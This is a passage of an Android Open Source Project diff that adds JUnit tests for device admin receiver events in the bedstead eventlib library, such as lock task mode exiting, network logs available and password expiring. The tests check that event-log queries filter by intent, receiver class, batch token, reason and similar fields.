+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminLockTaskModeExitingEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminLockTaskModeExitingEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminLockTaskModeExitingEvent> eventLogs =
+                DeviceAdminLockTaskModeExitingEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminLockTaskModeExitingEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent).log();
+        DeviceAdminLockTaskModeExitingEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminLockTaskModeExitingEvent> eventLogs =
+                DeviceAdminLockTaskModeExitingEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminLockTaskModeExitingEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminLockTaskModeExitingEvent> eventLogs =
+                DeviceAdminLockTaskModeExitingEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminLockTaskModeExitingEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminLockTaskModeExitingEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminLockTaskModeExitingEvent> eventLogs =
+                DeviceAdminLockTaskModeExitingEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminLockTaskModeExitingEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT).log();
+
+        EventLogs<DeviceAdminLockTaskModeExitingEvent> eventLogs =
+                DeviceAdminLockTaskModeExitingEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminLockTaskModeExitingEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminLockTaskModeExitingEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .log();
+
+        EventLogs<DeviceAdminLockTaskModeExitingEvent> eventLogs =
+                DeviceAdminLockTaskModeExitingEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEventTest.java
new file mode 100644
index 0000000..e01c13d
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEventTest.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminNetworkLogsAvailableEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final long BATCH_TOKEN = 1;
+    private static final long DIFFERENT_BATCH_TOKEN = 2;
+    private static final int NETWORK_LOGS_COUNT = 1;
+    private static final int DIFFERENT_NETWORK_LOGS_COUNT = 2;
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, BATCH_TOKEN, NETWORK_LOGS_COUNT).log();
+
+        EventLogs<DeviceAdminNetworkLogsAvailableEvent> eventLogs =
+                DeviceAdminNetworkLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent, BATCH_TOKEN, NETWORK_LOGS_COUNT).log();
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, BATCH_TOKEN, NETWORK_LOGS_COUNT).log();
+
+        EventLogs<DeviceAdminNetworkLogsAvailableEvent> eventLogs =
+                DeviceAdminNetworkLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminNetworkLogsAvailableEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, BATCH_TOKEN, NETWORK_LOGS_COUNT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminNetworkLogsAvailableEvent> eventLogs =
+                DeviceAdminNetworkLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, BATCH_TOKEN, NETWORK_LOGS_COUNT)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, BATCH_TOKEN, NETWORK_LOGS_COUNT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminNetworkLogsAvailableEvent> eventLogs =
+                DeviceAdminNetworkLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, BATCH_TOKEN, NETWORK_LOGS_COUNT).log();
+
+        EventLogs<DeviceAdminNetworkLogsAvailableEvent> eventLogs =
+                DeviceAdminNetworkLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, BATCH_TOKEN, NETWORK_LOGS_COUNT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, BATCH_TOKEN, NETWORK_LOGS_COUNT)
+                .log();
+
+        EventLogs<DeviceAdminNetworkLogsAvailableEvent> eventLogs =
+                DeviceAdminNetworkLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereBatchToken_works() {
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, BATCH_TOKEN, NETWORK_LOGS_COUNT).log();
+
+        EventLogs<DeviceAdminNetworkLogsAvailableEvent> eventLogs =
+                DeviceAdminNetworkLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereBatchToken().isEqualTo(BATCH_TOKEN);
+
+        assertThat(eventLogs.poll().batchToken()).isEqualTo(BATCH_TOKEN);
+    }
+
+    @Test
+    public void whereBatchToken_skipsNonMatching() {
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, DIFFERENT_BATCH_TOKEN, NETWORK_LOGS_COUNT).log();
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, BATCH_TOKEN, NETWORK_LOGS_COUNT).log();
+
+        EventLogs<DeviceAdminNetworkLogsAvailableEvent> eventLogs =
+                DeviceAdminNetworkLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereBatchToken().isEqualTo(BATCH_TOKEN);
+
+        assertThat(eventLogs.poll().batchToken()).isEqualTo(BATCH_TOKEN);
+    }
+
+    @Test
+    public void whereNetworkLogsCount_works() {
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, BATCH_TOKEN, NETWORK_LOGS_COUNT).log();
+
+        EventLogs<DeviceAdminNetworkLogsAvailableEvent> eventLogs =
+                DeviceAdminNetworkLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereNetworkLogsCount().isEqualTo(NETWORK_LOGS_COUNT);
+
+        assertThat(eventLogs.poll().networkLogsCount()).isEqualTo(NETWORK_LOGS_COUNT);
+    }
+
+    @Test
+    public void whereNetworkLogsCount_skipsNonMatching() {
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, BATCH_TOKEN, DIFFERENT_NETWORK_LOGS_COUNT).log();
+        DeviceAdminNetworkLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, INTENT, BATCH_TOKEN, NETWORK_LOGS_COUNT).log();
+
+        EventLogs<DeviceAdminNetworkLogsAvailableEvent> eventLogs =
+                DeviceAdminNetworkLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereNetworkLogsCount().isEqualTo(NETWORK_LOGS_COUNT);
+
+        assertThat(eventLogs.poll().networkLogsCount()).isEqualTo(NETWORK_LOGS_COUNT);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEventTest.java
new file mode 100644
index 0000000..cb1d7ba
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEventTest.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminOperationSafetyStateChangedEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final int REASON = 1;
+    private static final int DIFFERENT_REASON = 2;
+    private static final boolean IS_SAFE = true;
+    private static final boolean DIFFERENT_IS_SAFE = false;
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, REASON, IS_SAFE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminOperationSafetyStateChangedEvent> eventLogs =
+                DeviceAdminOperationSafetyStateChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, REASON, IS_SAFE)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, REASON, IS_SAFE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminOperationSafetyStateChangedEvent> eventLogs =
+                DeviceAdminOperationSafetyStateChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, REASON, IS_SAFE).log();
+
+        EventLogs<DeviceAdminOperationSafetyStateChangedEvent> eventLogs =
+                DeviceAdminOperationSafetyStateChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, REASON, IS_SAFE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, REASON, IS_SAFE)
+                .log();
+
+        EventLogs<DeviceAdminOperationSafetyStateChangedEvent> eventLogs =
+                DeviceAdminOperationSafetyStateChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereReason_works() {
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, REASON, IS_SAFE).log();
+
+        EventLogs<DeviceAdminOperationSafetyStateChangedEvent> eventLogs =
+                DeviceAdminOperationSafetyStateChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereReason().isEqualTo(REASON);
+
+        assertThat(eventLogs.poll().reason()).isEqualTo(REASON);
+    }
+
+    @Test
+    public void whereReason_skipsNonMatching() {
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, DIFFERENT_REASON, IS_SAFE).log();
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, REASON, IS_SAFE).log();
+
+        EventLogs<DeviceAdminOperationSafetyStateChangedEvent> eventLogs =
+                DeviceAdminOperationSafetyStateChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereReason().isEqualTo(REASON);
+
+        assertThat(eventLogs.poll().reason()).isEqualTo(REASON);
+    }
+
+    @Test
+    public void whereIsSafe_works() {
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, REASON, IS_SAFE).log();
+
+        EventLogs<DeviceAdminOperationSafetyStateChangedEvent> eventLogs =
+                DeviceAdminOperationSafetyStateChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereIsSafe().isEqualTo(IS_SAFE);
+
+        assertThat(eventLogs.poll().isSafe()).isEqualTo(IS_SAFE);
+    }
+
+    @Test
+    public void whereIsSafe_skipsNonMatching() {
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, REASON, DIFFERENT_IS_SAFE).log();
+        DeviceAdminOperationSafetyStateChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, REASON, IS_SAFE).log();
+
+        EventLogs<DeviceAdminOperationSafetyStateChangedEvent> eventLogs =
+                DeviceAdminOperationSafetyStateChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereIsSafe().isEqualTo(IS_SAFE);
+
+        assertThat(eventLogs.poll().isSafe()).isEqualTo(IS_SAFE);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEventTest.java
index ea936e7..c4a6b35 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEventTest.java
@@ -34,8 +34,7 @@
 @RunWith(JUnit4.class)
 public final class DeviceAdminPasswordChangedEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final String STRING_VALUE = "Value";
     private static final String DIFFERENT_STRING_VALUE = "Value2";
     private static final Intent INTENT = new Intent();
@@ -60,8 +59,7 @@
 
     @Test
     public void whereIntent_works() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
 
         EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
@@ -73,8 +71,7 @@
 
     @Test
     public void whereIntent_skipsNonMatching() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         Intent differentIntent = new Intent();
         differentIntent.setAction(DIFFERENT_STRING_VALUE);
         DeviceAdminPasswordChangedEvent.logger(
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEventTest.java
new file mode 100644
index 0000000..2a1e2dc
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEventTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminPasswordExpiringEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final UserHandle USER_HANDLE = UserHandle.of(1);
+    private static final UserHandle DIFFERENT_USER_HANDLE = UserHandle.of(2);
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminPasswordExpiringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminPasswordExpiringEvent> eventLogs =
+                DeviceAdminPasswordExpiringEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminPasswordExpiringEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent).log();
+        DeviceAdminPasswordExpiringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminPasswordExpiringEvent> eventLogs =
+                DeviceAdminPasswordExpiringEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminPasswordExpiringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
